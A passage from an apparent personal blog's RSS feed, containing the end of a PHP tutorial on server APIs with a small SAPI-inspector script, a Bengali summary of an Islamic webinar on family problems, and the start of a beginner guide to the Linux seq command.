&lt;p&gt;&lt;strong&gt;Cons:&lt;/strong&gt; Plain CGI is slow; you should prefer FastCGI/PHP-FPM for production.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;Browser
  |
  v
[Web Server]
  |
  v
(spawn) -&amp;gt; [php-cgi process (short-lived)]
               |
               v
         [Zend Engine] -&amp;gt; execute script -&amp;gt; stdout
               |
               v
Web Server collects stdout -&amp;gt; Response -&amp;gt; Browser
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;PHP-FPM (FastCGI Process Manager)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;What it is:&lt;/strong&gt; The modern, common way to run PHP for production. It’s a FastCGI server that manages pools of worker processes (php-fpm daemon).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;When to use:&lt;/strong&gt; Production web apps — most Nginx setups use PHP-FPM.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;How it behaves:&lt;/strong&gt; Web server (Nginx/Apache) passes requests to PHP-FPM over a socket or TCP; PHP-FPM serves multiple requests via worker processes. You can configure pools with different users and php.ini overrides.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Pros:&lt;/strong&gt; High performance, good resource control, per-site pools, multiple PHP versions possible.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Cons:&lt;/strong&gt; Adds an extra service to manage (but that’s normal).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Detect:&lt;/strong&gt; &lt;code&gt;php_sapi_name()&lt;/code&gt; typically shows &lt;code&gt;fpm-fcgi&lt;/code&gt; or &lt;code&gt;php-fpm&lt;/code&gt; depending on build; &lt;code&gt;PHP_SAPI&lt;/code&gt; often &lt;code&gt;fpm-fcgi&lt;/code&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;Browser
  |
  v
[Nginx / Apache (FastCGI proxy)]
  |
  v   (FCGI over unix socket or TCP)
[php-fpm master process]  ---&amp;gt; php-fpm worker #1 / worker #2
                                   |
                                   v
                           [Zend Engine] -&amp;gt; execute script
                                   |
                                   v
                         Response -&amp;gt; Web server -&amp;gt; Browser
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Apache Module (mod_php / apache2handler)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;What it is:&lt;/strong&gt; PHP compiled as an Apache module so PHP runs &lt;em&gt;inside&lt;/em&gt; the Apache worker process. &lt;code&gt;php_sapi_name()&lt;/code&gt; shows &lt;code&gt;apache2handler&lt;/code&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;When to see it:&lt;/strong&gt; Older or simple LAMP stacks (Apache + mod_php).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;How it behaves:&lt;/strong&gt; PHP runs with Apache’s process and permissions. No separate PHP process.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Pros:&lt;/strong&gt; Simple single-package setup, no proxying to PHP-FPM.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Cons:&lt;/strong&gt; Less resource-isolated (every Apache process contains PHP), can be heavier memory-wise, harder to run multiple PHP versions, and less ideal with certain web server optimizations.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Detect:&lt;/strong&gt; &lt;code&gt;php_sapi_name()&lt;/code&gt; -&amp;gt; &lt;code&gt;apache2handler&lt;/code&gt; or similar.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;Browser
  |
  v
[Apache HTTPD process]  &amp;lt;-- mod_php loaded into Apache
  |
  v
[Zend Engine (in-process)] --&amp;gt; executes PHP script (index.php)
  |
  v
Response -&amp;gt; Browser
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Other SAPIs (ISAPI, LiteSpeed, Embed)&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;ISAPI and IIS integration (Windows)&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;What it is:&lt;/strong&gt; Integration with Microsoft IIS servers. Historically ISAPI was used; modern IIS typically uses FastCGI (php-cgi) to run PHP.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;When to see it:&lt;/strong&gt; Windows / IIS hosting.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;How it behaves:&lt;/strong&gt; Similar concepts to FastCGI or module-based depending on configuration.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Detect:&lt;/strong&gt; &lt;code&gt;php_sapi_name()&lt;/code&gt; may show &lt;code&gt;isapi&lt;/code&gt; or &lt;code&gt;cgi-fcgi&lt;/code&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;LiteSpeed (lsapi)&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;What it is:&lt;/strong&gt; A SAPI optimized for LiteSpeed Web Server (LSAPI).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;When to see it:&lt;/strong&gt; If you use LiteSpeed hosting.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;How it behaves:&lt;/strong&gt; Similar goals as PHP-FPM but tailored for LiteSpeed.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Detect:&lt;/strong&gt; &lt;code&gt;php_sapi_name()&lt;/code&gt; -&amp;gt; &lt;code&gt;litespeed&lt;/code&gt; or &lt;code&gt;lsapi&lt;/code&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;embed&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;What it is:&lt;/strong&gt; PHP embedded inside another application (e.g., a C/C++ app embedding the PHP engine).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;When to see it:&lt;/strong&gt; Rare; only when someone integrates PHP into their own program.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;How it behaves:&lt;/strong&gt; Runs inside host process; used by specialized apps.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Detect:&lt;/strong&gt; &lt;code&gt;php_sapi_name()&lt;/code&gt; -&amp;gt; &lt;code&gt;embed&lt;/code&gt; (rare).&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Practical Example: Check Which SAPI We Are Using&lt;/h2&gt;
&lt;p&gt;We are going to use the following PHP script to test which PHP SAPI we are using in different environments. What we have to do is simply save the script and run it.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
/**
 * PHP SAPI Inspector
 * Shows current SAPI name and availability of common superglobals
 */

// Ensure clean HTML output
header(&apos;Content-Type: text/html; charset=UTF-8&apos;);

// Detect SAPI
$sapi = php_sapi_name();

// List of common superglobals to check
$superglobals = [
    &apos;_GET&apos;,
    &apos;_POST&apos;,
    &apos;_COOKIE&apos;,
    &apos;_FILES&apos;,
    &apos;_SERVER&apos;,
    &apos;_REQUEST&apos;,
    &apos;_SESSION&apos;,
    &apos;_ENV&apos;,
    &apos;_GLOBALS&apos;,
];

?&amp;gt;
&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html lang=&quot;en&quot;&amp;gt;
&amp;lt;head&amp;gt;
    &amp;lt;meta charset=&quot;UTF-8&quot;&amp;gt;
    &amp;lt;title&amp;gt;PHP SAPI Inspector&amp;lt;/title&amp;gt;
    &amp;lt;style&amp;gt;
        body { font-family: Arial, sans-serif; margin: 20px; background: #f9f9f9; }
        h1 { color: #333; }
        table { border-collapse: collapse; width: 60%; margin-top: 20px; background: #fff; }
        th, td { border: 1px solid #ccc; padding: 8px 12px; text-align: left; }
        th { background: #eee; }
        .yes { color: green; font-weight: bold; }
        .no { color: red; font-weight: bold; }
    &amp;lt;/style&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
    &amp;lt;h1&amp;gt;PHP SAPI Inspector&amp;lt;/h1&amp;gt;
    &amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Current SAPI:&amp;lt;/strong&amp;gt; &amp;lt;?php echo htmlspecialchars($sapi, ENT_QUOTES, &apos;UTF-8&apos;); ?&amp;gt;&amp;lt;/p&amp;gt;

    &amp;lt;table&amp;gt;
        &amp;lt;tr&amp;gt;
            &amp;lt;th&amp;gt;Superglobal&amp;lt;/th&amp;gt;
            &amp;lt;th&amp;gt;Available?&amp;lt;/th&amp;gt;
        &amp;lt;/tr&amp;gt;
        &amp;lt;?php foreach ($superglobals as $sg): ?&amp;gt;
            &amp;lt;tr&amp;gt;
                &amp;lt;td&amp;gt;&amp;lt;?php echo &apos;$&apos; . $sg; ?&amp;gt;&amp;lt;/td&amp;gt;
                &amp;lt;td&amp;gt;
                    &amp;lt;?php echo isset($GLOBALS[$sg]) ? &apos;&amp;lt;span class=&quot;yes&quot;&amp;gt;Yes&amp;lt;/span&amp;gt;&apos; : &apos;&amp;lt;span class=&quot;no&quot;&amp;gt;No&amp;lt;/span&amp;gt;&apos;; ?&amp;gt;
                &amp;lt;/td&amp;gt;
            &amp;lt;/tr&amp;gt;
        &amp;lt;?php endforeach; ?&amp;gt;
    &amp;lt;/table&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;cli-server&lt;/h3&gt;
&lt;p&gt;First of all, we will save this in our local machine and start the PHP built-in web server using the command &lt;code&gt;php -S localhost:9900&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Now we can visit the URL in the browser and see the output:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;cli&lt;/h3&gt;
&lt;p&gt;Now we are going to run the script using our terminal and save the output in a file named index.html using this command &lt;code&gt;php index.php &amp;gt; index.html&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;We can now open the file index.html in a browser and view the output:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;fpm-fcgi&lt;/h3&gt;
&lt;p&gt;Finally we will upload the file to a live server running nginx and php-fpm. This is the output:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;By now, you’ve seen that PHP SAPI is not just a technical detail, but a fundamental part of how PHP communicates with web servers and your system. Each SAPI type — from CLI to PHP-FPM — has its own strengths and use cases, and knowing the differences can help you make smarter choices for performance, security, and scalability. As you continue your PHP journey, keep in mind that while your code stays the same, the SAPI that runs it can greatly influence how it performs in the real world.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;References:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.php.net/manual/en/function.php-sapi-name.php&quot;&gt;PHP Manual&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><atom:updated>2025-09-11T00:00:00.000Z</atom:updated><category>php</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>আধুনিক পরিবারের সংকট - ইসলামী সমাধান</title><link>https://hurayraiit.com/blog/modern-family-challenges-and-their-islamic-remedies/</link><guid isPermaLink="true">https://hurayraiit.com/blog/modern-family-challenges-and-their-islamic-remedies/</guid><description>আধুনিক পরিবারের সংকট ও ইসলামী সমাধান — ড. মানজুরে ইলাহি ও শিবলী মেহদির ওয়েবিনারের মূল আলোচনার সারসংক্ষেপ ও গুরুত্বপূর্ণ পয়েন্ট।</description><pubDate>Mon, 08 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;আলহামদুলিল্লাহ! সকল প্রসংশা বিশ্বজগতের অধিপতি আল্লাহ সুবহানাহু ওয়া তাআলার।&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.imambukharitrust.com/&quot;&gt;ইমাম বুখারী ট্রাস্টের&lt;/a&gt; আয়োজনে &quot;আধুনিক পরিবারের সংকট: ইসলামী সমাধান&quot; প্রোগ্রামে অংশগ্রহণ করার সুযোগ পেয়েছি। প্রোগ্রামটি অনলাইনে অনুষ্ঠিত হয় এবং আলোচক হিসাবে ছিলেন:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.monzureelahi.com/&quot;&gt;অধ্যাপক ডক্টর মুহাম্মদ মানজুরে ইলাহি&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.linkedin.com/in/shibleemehdi/&quot;&gt;শিবলী মেহদি ভাইয়া&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;প্রোগ্রামটির শুরুতে অধ্যাপক ডক্টর মুহাম্মদ মানজুরে ইলাহি কুরআন এবং সুন্নাহর আলোকে পরিবারের উৎপত্তি এবং প্রকৃতি নিয়ে সংক্ষিপ্ত আলোচনা করেন। পরবর্তীতে শিবলী মেহদি ভাইয়া পরিবারের বিভিন্ন সমস্যা, কারণ এবং সমাধান নিয়ে আলোচনা করেন। নিচে সংক্ষিপ্ত আকারে আলোচনার কিছু অংশ আমার নিজের ভাষায় সংযুক্ত করছি।&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;প্রথম মানুষ থেকেই পরিবার শুরু হয়েছে। আল্লাহ সুবহানাহু ওয়া তাআলা আদম (আ:) এবং হাওয়া (আ:) কে সৃষ্টি করেছেন এবং বৈবাহিক সম্পর্কের মাধ্যমে তাদেরকে একটি পরিবারে রূপ দিয়েছেন। পরবর্তীতে আল্লাহ প্রদত্ত মাধ্যমেই মানবজাতির সৃষ্টি হয়েছে। পরিবার গঠনের একমাত্র উপায় বিবাহ।&lt;/p&gt;
&lt;p&gt;মানুষ হিসাবে আমাদের নিজেদের দুর্বলতার জন্যই আমাদের পরিবারে বিভিন্ন সংকট তৈরি হয়। ঠিক একই ভাবে আমাদের কর্মক্ষেত্রেও বিভিন্ন সংকট তৈরি হয়।&lt;/p&gt;
&lt;p&gt;যখন আমরা পরিবারে নানান সংকটের মুখোমুখি হই, তখন এটা ভেবে হতাশ হওয়া যাবে না, যে শুধু আমাকেই এমন পরিস্থিতির ভেতর দিয়ে যেতে হচ্ছে। কারণ সবার পরিবারেই সংকট থাকতে পারে। এমনকি আমরা কুরআন এবং সুন্নাহ থেকে জানতে পারি যে নবী এবং রাসূল (সা:) দের পরিবারেও বিভিন্ন সময়ে বিভিন্ন সংকট দেখা দিয়েছে। এটা জীবনেরই অংশ। এটার একমাত্র সমাধান হলো আল্লাহ এবং তার রাসূলের (সা:) গাইডলাইন।&lt;/p&gt;
&lt;p&gt;পরিবার একটি গাছের মতো। একটি গাছকে সুস্থ, সুন্দর করে গড়ে তোলার জন্য যেমন পরিচর্যা করতে হয়, ঠিক একইভাবে পরিবারকেও পরিচর্যা করতে হয়।&lt;/p&gt;
&lt;h2&gt;পরিবারে কেন সংকট তৈরি হয়&lt;/h2&gt;
&lt;p&gt;যেসব কারণে পরিবারে সংকট তৈরি হয়, নিচে এমন কিছু বিষয় তুলে ধরা হলো:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;আমরা ছোট বড় নানা কারণে অতিরিক্ত রাগ করি&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;আল্লাহ আমাদের রাগ করতে নিষেধ করেছেন। তিনি বলেছেন রাগ না করলে আমাদের জন্য জান্নাত আছে। কোনও কারণে রাগ হয়ে গেলেও আমাদেরকে ধৈর্য্য ধারণ করতে হবে। যদি কোনও কারণে রাগ তৈরি হয়েও যায়, তাহলে সাথে সাথে কিছু বলা বা করা যাবে না -- মাত্র ৮ থেকে ১০ সেকেন্ড নিজেকে কন্ট্রোল করতে পারলে রাগ কমে যায়। যেসব হরমোনের প্রভাবে রাগ আসে সেসব দ্রুত প্রশমিত হয়ে যায়।&lt;/p&gt;
&lt;p&gt;তারপরও কিছু পদক্ষেপ নেওয়া যেতে পারে। যেমন দাড়িয়ে থাকলে বসে পড়া। বসে থাকলে শুয়ে পড়া। অথবা অজু করা। অথবা জায়গা ত্যাগ করা।&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;আমরা পরিবারের সাথে কোমল ভাষায় কথা বলি না&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;পরিবারের সাথে কোমল ভাষায় কথা বলতে হবে। হাদিসে আমাদেরকে সহজ করতে নির্দেশ দেওয়া হয়েছে এবং কঠিন করতে নিষেধ করা হয়েছে। আমরা পরিবারের বাইরের মানুষের সাথে যেভাবে কোমল স্বরে কোথা বলি, পরিবারের মানুষদের সাথেও একই ভাবে কথা বলতে হবে।&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;আমরা ক্ষমা করি না&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;আমরা অন্যদের ক্ষমা করলে আল্লাহ আমাদের ক্ষমা করবেন। ছোট বড় নানা বিষয়ে মনোমালিন্য তৈরি হলে সর্বোচ্চ চেষ্টা করতে হবে ক্ষমা করার। এবং এর বিনিময়ে আল্লাহর কাছে সর্বোচ্চ পুরস্কারের আশা করতে হবে।&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;সোশ্যাল মিডিয়ার কাছে পরামর্শ নেই&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;অনেকেই নিজেদের ব্যক্তিগত বিষয় বা সমস্যাগুলো সোশ্যাল মিডিয়ায় শেয়ার করে পরামর্শ চায়। কিন্তু পরামর্শ নিতে হয় জ্ঞানীদের নিকট থেকে। যে বিষয়ে আমরা সমস্যায় আছি সে বিষয়ে জ্ঞানী এবং আস্থাভাজন কোনও ব্যক্তির নিকট গিয়ে পরামর্শ চাইতে হবে।&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;ভালোবাসা ও দয়া করা&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;হাদিসে আছে, যে দয়া করে না তাকে দয়া করা হয় না। পরিবারের সকলের প্রতি ভালবাসা ও দয়া রাখতে হবে।&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;আমরা জুলুম করি&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;অথচ আল্লাহ নিজের উপর জুলুম করা হারাম করে নিয়েছেন, আমাদেরকেও জুলুম করতে নিষেধ করেছেন।&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;নারী পুরুষের বৈশিষ্ঠ্য খেয়াল করি না&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;সৃষ্টিগত ভাবেই নারী পুরুষ আলাদা। তাদের প্রকৃতি, কাজ, দায়িত্ব আলাদা। আমাদের এটা খেয়াল রাখতে হবে। পুরুষের সাথে যেভাবে মিশতে হবে নারীদের সাথে সেভাবে মেশা যাবে না।স্ত্রীরা কোমল স্বভাবের হওয়ায় তাদের সাথে কমল আচরণ করতে হবে।&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;আমরা পরিবারের জন্য দুআ করি না&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;পরিবারের জন্য, স্পাউসদের জন্য প্রচুর দুআ করতে হবে। সালাতে দুআ করতে হবে। কোনও কারণে স্পাউস কোনও ভুল করলে তার জন্য দুআ করতে হবে যেনো সে সংশোধন হয়ে যায়। নিজ ভাষায় আল্লাহর কাছে দুআ করা যাবে।&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;আমরা তাকওয়া অবলম্বন করি না&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;প্রত্যেক কথা ও কাজে তাকওয়া অবলম্বন করতে হবে।&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;একটি বিষয় খেয়াল করুন&lt;/h2&gt;
&lt;p&gt;আমরা আমাদের কর্ম ক্ষেত্রে পুরোপুরিভাবে ইসলাম পালন করার সুযোগ নাও পেতে পারি। কিন্তু আমাদের পরিবারে আমরা চাইলেই পুরোপুরিভাবে ইসলাম প্রতিষ্ঠা করতে পারি।&lt;/p&gt;
&lt;h2&gt;ঢাকায় প্রতি ৪০ মিনিটে ১টি তালাক হয় (২০২৩)&lt;/h2&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;তালাকের কিছু কারণ&lt;/h2&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;কর্মজীবন ও পারিবারিক সময়ের ভারসাম্যহীনতা&lt;/h2&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;কাজের জন্য আমরা পরিবারকে পর্যাপ্ত সময় দিতে পারি না। সেক্ষেত্রে কাজের বিরতিতে কল দেওয়া, টেক্সট করে খোঁজ নেওয়া, বা একটা সুন্দর ইমোজি দেওয়া যেতেই পারে। অফিস শেষে বাসায় ফিরে নিজেদের সারাদিনের ঘটনাগুলো শেয়ার করতে পারি।&lt;/p&gt;
&lt;p&gt;আমরা যারা পরিবার থেকে দূরে থাকি, সম্ভব হলে স্পাউজকে সাথে রাখার চেষ্টা করতে পারি। যারা প্রবাসে থাকি, তার বেশি বেশি দুআ করতে পারি।&lt;/p&gt;
&lt;h2&gt;সাংস্কৃতিক চাপ বনাম ইসলামী মূল্যবোধ&lt;/h2&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;সোশ্যাল মিডিয়ার অতিরিক্ত ব্যবহার&lt;/h2&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;অনলাইন লাইভ শপিং আসক্তি&lt;/h2&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;অপ্রয়োজনীও কেনাকাটা থেকে বিরত থাকতে হবে।&lt;/p&gt;
&lt;h2&gt;অবাধ মেলামেশা (ফ্রি মিক্সিং)&lt;/h2&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;জীবিকার প্রয়োজনে আমাদেরকে কাজ করতে হয়। কিন্তু কাজের পরিবেশ সবসময় সুন্দর ইসলামিক পরিবেশ নাও হতে পারে। সেক্ষেত্রে নিচের বিষয়গুলো খেয়াল রাখা যেতে পারে:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;সবসময় চোখ অবনত রাখা&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;অপ্রয়োজনে কথাবার্তা বা গসিপ এড়িয়ে চলা&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;প্রয়োজনিয় কোথা বা কাজ সম্ভব হলে টেক্সট মেসেজের মাধ্যমে করা&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;পর্দা মেনে চলা&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;আল্লাহকে ভয় করা&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;কেনো স্পাউজকে ক্রমান্বয়ে ভালো লাগে না?&lt;/h2&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;সোশ্যাল মিডিয়া আমাদের মধ্যে কিছু ভুল ধারণা তৈরি করে। প্রত্যেকেই তাদের জীবনের সাফল্যের দিকগুলো, আনন্দের দিকগুলো শেয়ার করে। কিন্তু ব্যর্থতা, কষ্টের বিষয়গুলো শেয়ার হয় খুব কম। অন্যের চাকচিক্যময় স্ট্যাটাস দেখে মনে হতে পারে যে অন্য মানুষের স্পাউস কত রোমান্টিক কিন্তু আমার স্পাউস তো এত রোমান্টিক নয়! ওদের স্পাউস ওদের এত কিছু গিফট দেয়, আমার স্পাউসতো আমার জন্য এত কিছু করে না! এরপর নিজের পরিবারের উপর থেকে আগ্রহ কমতে থাকে। তাই আমাদেরকে সোশ্যাল মিডিয়া ব্যবহারে সাবধান হতে হবে।&lt;/p&gt;
&lt;p&gt;কেউ যদি যথেষ্ট ম্যাচিওর হয় এবং নিজেকে সোশ্যাল মিডিয়ার এই খারাপদিকগুলো থেকে নিরাপদ মনে করে, তাহলে প্রয়োজন পূরণে সে সোশ্যাল মিডিয়া ব্যবহার করতে পারে। অন্যথা সোশ্যাল মিডিয়া ব্যবহার না করাই উত্তম।&lt;/p&gt;
&lt;h2&gt;বোনদের ক্যারিয়ার বনাম পরিবার&lt;/h2&gt;
&lt;figure&gt;
&lt;p&gt;&lt;/p&gt;
&lt;figcaption&gt;
&lt;p&gt;বোনদের ক্যারিয়ার বনাম পরিবার&lt;/p&gt;
&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;আল্লাহ আমাদেরকে আমাদের সামর্থ্য অনুযায়ী দায়িত্ব দিয়েছেন। তিনি আমাদের উপর জুলুম করেন নি। চাকরি করার পূর্বে নিশ্চিত করতে হবে পরিবারের হক আদায় করতে হবে। যথাসম্ভব পর্দা অবলম্বন করতে হবে। হালাল রিজক অন্বেষণ করতে হবে।&lt;/p&gt;
&lt;h2&gt;সকাল বেলার কৌশল&lt;/h2&gt;
&lt;figure&gt;
&lt;p&gt;&lt;/p&gt;
&lt;figcaption&gt;
&lt;p&gt;খুব দ্রুত ঝগড়া মিটিয়ে ফেলার কৌশল&lt;/p&gt;
&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;আলোচনার শেষের দিকে শিবলী ভাইয়া একটি কৌশল শেয়ার করেছেন। কিভাবে খুব দ্রুত ঝগড়া মিটিয়ে ফেলা যাবে। কৌশলটি হলো: প্রতিদিন সকালে অফিসে যাওয়ার সময় স্ত্রী, সন্তানদেরকে কপালে চুমু খাওয়া।&lt;/p&gt;
&lt;p&gt;এই একটি ছোট কাজ প্রতিদিন করলে ঝগড়া বিবাদ মিটে যাবে ইনশাআল্লাহ এবং পরিবারের সাথে সুন্দর সম্পর্ক তৈরি হবে। রাতে কোনও কারণে ঝগড়া বিবাদ সৃষ্টি হলে সকালের এই সুন্দর মুহূর্তটি দুজনের মধ্যে সব মিটমাট করে দিতে পারে।&lt;/p&gt;
&lt;p&gt;যদি স্ত্রী কাছে না আসতে চায় তাহলে ৩ কুল সূরা পরে ফু দেওয়া যেতে পারে। এই ক্ষেত্রে রাগ থাকলেও স্ত্রী কাছে আসবে।&lt;/p&gt;
&lt;h2&gt;সমাপ্তি&lt;/h2&gt;
&lt;p&gt;আল্লাহ সুবহানাহু ওয়া তাআলা যেন আমাদেরকে উল্লিখিত বিষয়গুলোর উপর আমল করার তৌফিক দান করেন। আমাদের পরিবার জীবনে সুখ সমৃদ্ধি এবং বারাকাহ দান করেন। আমিন।&lt;/p&gt;
&lt;figure&gt;
&lt;p&gt;&lt;/p&gt;
&lt;figcaption&gt;
&lt;p&gt;জাযাকালাহু খায়ের&lt;/p&gt;
&lt;/figcaption&gt;
&lt;/figure&gt;</content:encoded><atom:updated>2025-09-08T00:00:00.000Z</atom:updated><category>islam</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>Linux seq Command Explained with Examples for Beginners</title><link>https://hurayraiit.com/blog/linux-seq-command-explained-with-examples-for-beginners/</link><guid isPermaLink="true">https://hurayraiit.com/blog/linux-seq-command-explained-with-examples-for-beginners/</guid><description>A beginner’s guide to the Linux seq command — generate number sequences with custom increments, separators, and formatted output for scripts and automation.</description><pubDate>Sat, 06 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h3&gt;Introduction&lt;/h3&gt;
&lt;p&gt;The &lt;code&gt;seq&lt;/code&gt; command in Linux is a simple yet powerful tool used to generate sequences of numbers. It’s often used in scripting, automation, and quick number generation. Whether you want to print a range of numbers or format them with specific options, &lt;code&gt;seq&lt;/code&gt; can help.&lt;/p&gt;
&lt;h3&gt;Basic Usage of &lt;code&gt;seq&lt;/code&gt;&lt;/h3&gt;
&lt;h4&gt;1. Generate a Simple Sequence&lt;/h4&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Here, &lt;code&gt;seq 10&lt;/code&gt; prints numbers from 1 to 10.&lt;/p&gt;
&lt;h4&gt;2. Specify a Start and End Number&lt;/h4&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;This prints numbers starting at &lt;strong&gt;3&lt;/strong&gt; and ending at &lt;strong&gt;10&lt;/strong&gt;.&lt;/p&gt;
&lt;h4&gt;3. Use Step Values&lt;/h4&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;The middle number (&lt;code&gt;3&lt;/code&gt;) specifies the step. So this command prints every third number from 1 to 20.&lt;/p&gt;
&lt;h4&gt;4. Print Numbers on One Line&lt;/h4&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;-s&lt;/code&gt; option changes the separator, in this case to a space.&lt;/p&gt;
&lt;h4&gt;5. Format Numbers with Leading Zeros&lt;/h4&gt;
&lt;p&gt;&lt;/p&gt;
